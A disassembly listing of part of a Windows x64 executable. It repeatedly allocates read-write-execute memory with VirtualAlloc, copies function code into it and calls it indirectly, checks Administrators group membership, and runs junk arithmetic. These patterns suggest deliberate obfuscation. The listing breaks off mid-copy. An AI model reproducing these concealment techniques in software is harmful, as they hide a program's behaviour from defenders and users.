call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010fd2
mov r8, r12
jmp 0x14001106e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010fe0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x898]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x2328]
xor rcx, qword [rbp + 0x2330]
mov qword [rbp + 0x2328], rcx
mov rax, qword [rbp + 0x2338]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1558]
test al, 1
jne 0x1400110fd
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x140011108
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x158b], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1558]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1958]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x7d80]
test bl, 1
jne 0x1400111ad
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rcx, [rbp + 0x1558]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x1400111cd
lea rcx, [rbp + 0x1958]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x140011130
sub rdi, 1
jne 0x140011120
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1558]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x155c]
mov r8d, dword [rbp + 0x1558]
lea rdx, [rbp + 0x7d80]
lea rcx, [rbp + 0x1558]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x158b]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1668]
call fcn.1400047a0
sub r14, 1
jne 0x140010240
lea rcx, [rbp + 0x8a0]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp - 0x58], rsi
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x50]
call fcn.140021870
test al, al
js 0x140010230
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2c60]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1728]
call fcn.140021e60
mov dword [rbp + 0x15d0], r12d
mov qword [rbp + 0x1530], r12
mov dword [rbp + 0x15c8], 0
mov word [rbp + 0x15cc], 0x500
mov rbx, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
lea rax, [rbp + 0x1530]
mov qword [rbp + 0x8a8], rax
mov dword [rbp + 0x58], r12d
mov dword [rbp + 0x5c], r12d
mov dword [rbp + 0x60], r12d
mov dword [rbp + 0x64], r12d
mov dword [rbp + 0x68], r12d
mov dword [rbp + 0x6c], r12d
mov dword [rbp + 0x70], 0x220
mov dword [rbp + 0x74], 0x20
mov dword [rbp + 0x78], 2
lea rax, [rbp + 0x15c8]
mov qword [rbp + 0x8b0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2340], xmm0
mov qword [rbp + 0x2350], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2340]
call fcn.140009f70
nop
mov ecx, r12d
lea rdi, [0x140021980]
mov rax, qword [0x14006d770]
test rax, rax
je 0x14001137b
cmp rax, rdi
je 0x140011368
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d770]
test rax, rax
jne 0x140011352
jmp 0x14001137b
mov eax, ecx
mov r10, qword [r13 + rax*8 + 0x6cad0]
test r10, r10
jne 0x14001145f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400113a4
mov r10, r12
jmp 0x14001143e
mov rax, rdi
mov rcx, r10
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400113b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006bb10]
mov qword [r13 + rax*8 + 0x6d770], rdi
mov qword [r13 + rax*8 + 0x6cad0], r10
inc rax
mov qword [0x14006bb10], rax
lea rax, [rbp + 0x8a8]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x58]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x64]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x6c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x74]
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x8b0]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x2340]
xor rdx, qword [rbp + 0x2348]
mov qword [rbp + 0x2340], rdx
mov rcx, qword [rbp + 0x2350]
mov qword [rcx], rdx
movsd xmm13, qword [0x14005afb0]
movsd xmm14, qword [0x14005afc8]
test eax, eax
jne 0x14001284f
call fcn.140024c3c
mov dword [rbp + 0xa494], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x9110]
call fcn.1400068a0
mov dword [rbp + 0x1560], 0xffffff9c
mov dword [rbp + 0x1564], 0x64
movups xmmword [rbp + 0x1968], xmm10
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1740], xmm0
mov qword [rbp + 0x1750], rax
lea rcx, [rbp + 0x1740]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x8b8]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1740]
call fcn.140022230
nop
lea rcx, [rbp + 0xe0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x8b8]
call fcn.1400086c0
lea rcx, [rbp + 0x8c0]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x1740]
call fcn.140022230
nop
lea rcx, [rbp + 0xe8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x8c0]
call fcn.1400086c0
lea rcx, [rbp + 0x8c8]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1740]
call fcn.140022230
nop
lea rcx, [rbp + 0xf0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x8c8]
call fcn.1400086c0
lea rcx, [rbp + 0x8d0]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x1740]
call fcn.140022230
nop
lea rcx, [rbp + 0xf8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x8d0]
call fcn.1400086c0
lea rcx, [rbp + 0x8d8]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x1740]
call fcn.140022230
nop
lea rcx, [rbp + 0x100]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x8d8]
call fcn.1400086c0
lea rcx, [rbp + 0x8e0]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x1740]
call fcn.140022230
nop
lea rcx, [rbp + 0x108]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x8e0]
call fcn.1400086c0
lea rcx, [rbp + 0x2410]
call fcn.140009fc0
mov qword [rbp + 0x8e8], 0x64
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x8f0], rax
lea r8, [rbp + 0x8e8]
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp + 0xf58]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2c80]
call fcn.140005020
nop
lea rcx, [rbp + 0x3c0]
call fcn.140009fc0
mov qword [rbp - 0x48], rsi
mov rax, qword [rax]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x18]
call fcn.140021870
test al, al
jns 0x140012807
nop word [rax + rax]
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1560]
call fcn.140009bf0
mov rbx, qword [rbp + 0x1748]
sub rbx, qword [rbp + 0x1740]
sar rbx, 3
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1560]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x1740]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1560]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2358], xmm0
mov qword [rbp + 0x2368], rax
mov rdx, rsi
lea rcx, [rbp + 0x2358]
call fcn.140009f70
nop
mov dword [rbp + 0x1600], r12d
mov dword [rbp + 0x1604], 0x19
lea rcx, [rbp + 0x2c80]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2c80]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x1400118ed
nop dword [rax + rax]
mov r9d, dword [rbp + 0x1604]
mov r8d, dword [rbp + 0x1600]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1600]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x1400118c0
mov rcx, qword [rbp + 0x2358]
xor rcx, qword [rbp + 0x2360]
mov qword [rbp + 0x2358], rcx
mov rax, qword [rbp + 0x2368]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1680], xmm0
mov qword [rbp + 0x1690], rax
lea rcx, [rbp + 0x1680]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x1680]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1560]
mov qword [rbp + 0x970], rax
lea rax, [rbp + 0x9110]
mov qword [rbp + 0x978], rax
movups xmm6, xmmword [rbp + 0x970]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1680]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf68]
lea rcx, [rbp + 0x1680]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x1680]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf78]
lea rcx, [rbp + 0x1680]
call fcn.140021420
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2370], xmm0
mov qword [rbp + 0x2380], rax
mov rdx, rsi
lea rcx, [rbp + 0x2370]
call fcn.140009f70
nop
mov dword [rbp + 0x1b00], 0xffffff9c
mov dword [rbp + 0x1b04], 0x64
lea rax, [rbp + 0x1b00]
mov qword [rbp + 0x960], rax
lea rax, [rbp + 0x9110]
mov qword [rbp + 0x968], rax
movups xmm6, xmmword [rbp + 0x960]
lea rdx, [rbp + 0xf80]
lea rcx, [rbp + 0x1680]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xf88]
lea rcx, [rbp + 0x1680]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xf90]
lea rcx, [rbp + 0x1680]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xf98]
call fcn.140021780
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0x1680]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xfa8]
lea rcx, [rbp + 0x1680]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x2370]
xor rcx, qword [rbp + 0x2378]
mov qword [rbp + 0x2370], rcx
mov rax, qword [rbp + 0x2380]
mov qword [rax], rcx
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1968]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1968]
call fcn.140021f10
movsd qword [rbp + 0x1af0], xmm0
movsd qword [rbp + 0x1af8], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1b90], xmm0
mov qword [rbp + 0x1ba0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1b90]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2388], xmm0
mov qword [rbp + 0x2398], rax
mov rdx, rsi
lea rcx, [rbp + 0x2388]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x140011bb9
nop dword [rax + rax]
cmp rax, rbx
je 0x140011ba6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x140011b90
jmp 0x140011bb9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x140011c9f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011be2
mov r8, r12
jmp 0x140011c7e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011bf0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1af0]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x2388]
xor rcx, qword [rbp + 0x2390]
mov qword [rbp + 0x2388], rcx
mov rax, qword [rbp + 0x2398]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x8f8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x23a0], xmm0
mov qword [rbp + 0x23b0], rax
mov rdx, rsi
lea rcx, [rbp + 0x23a0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x140011d39
nop
cmp rax, r15
je 0x140011d26
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140011d10
jmp 0x140011d39
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140011e1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011d62
mov r8, r12
jmp 0x140011dfe
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011d70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1af8]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x23a0]
xor rcx, qword [rbp + 0x23a8]
mov qword [rbp + 0x23a0], rcx
mov rax, qword [rbp + 0x23b0]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x23b8], xmm1
mov qword [rbp + 0x23c8], rax
mov rdx, rsi
lea rcx, [rbp + 0x23b8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x140011eb9
nop dword [rax]
cmp rax, rbx
je 0x140011ea6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x140011e90
jmp 0x140011eb9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x140011f9f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011ee2
mov r8, r12
jmp 0x140011f7e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011ef0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x8f8]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x23b8]
xor rcx, qword [rbp + 0x23c0]
mov qword [rbp + 0x23b8], rcx
mov rax, qword [rbp + 0x23c8]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x23d0], xmm1
mov qword [rbp + 0x23e0], rax
mov rdx, rsi
lea rcx, [rbp + 0x23d0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001202e
cmp rax, r15
je 0x14001201b
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140012005
jmp 0x14001202e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140012111
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012057
mov r8, r12
jmp 0x1400120f0
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012062
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1af8]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x23d0]
xor rcx, qword [rbp + 0x23d8]
mov qword [rbp + 0x23d0], rcx
mov rax, qword [rbp + 0x23e0]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1b78], xmm1
mov qword [rbp + 0x1b88], rax
mov rdx, rsi
lea rcx, [rbp + 0x1b78]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001219f
cmp rax, r15
je 0x14001218c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140012176
jmp 0x14001219f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001228f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400121c8
mov r8, r12
jmp 0x14001226e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
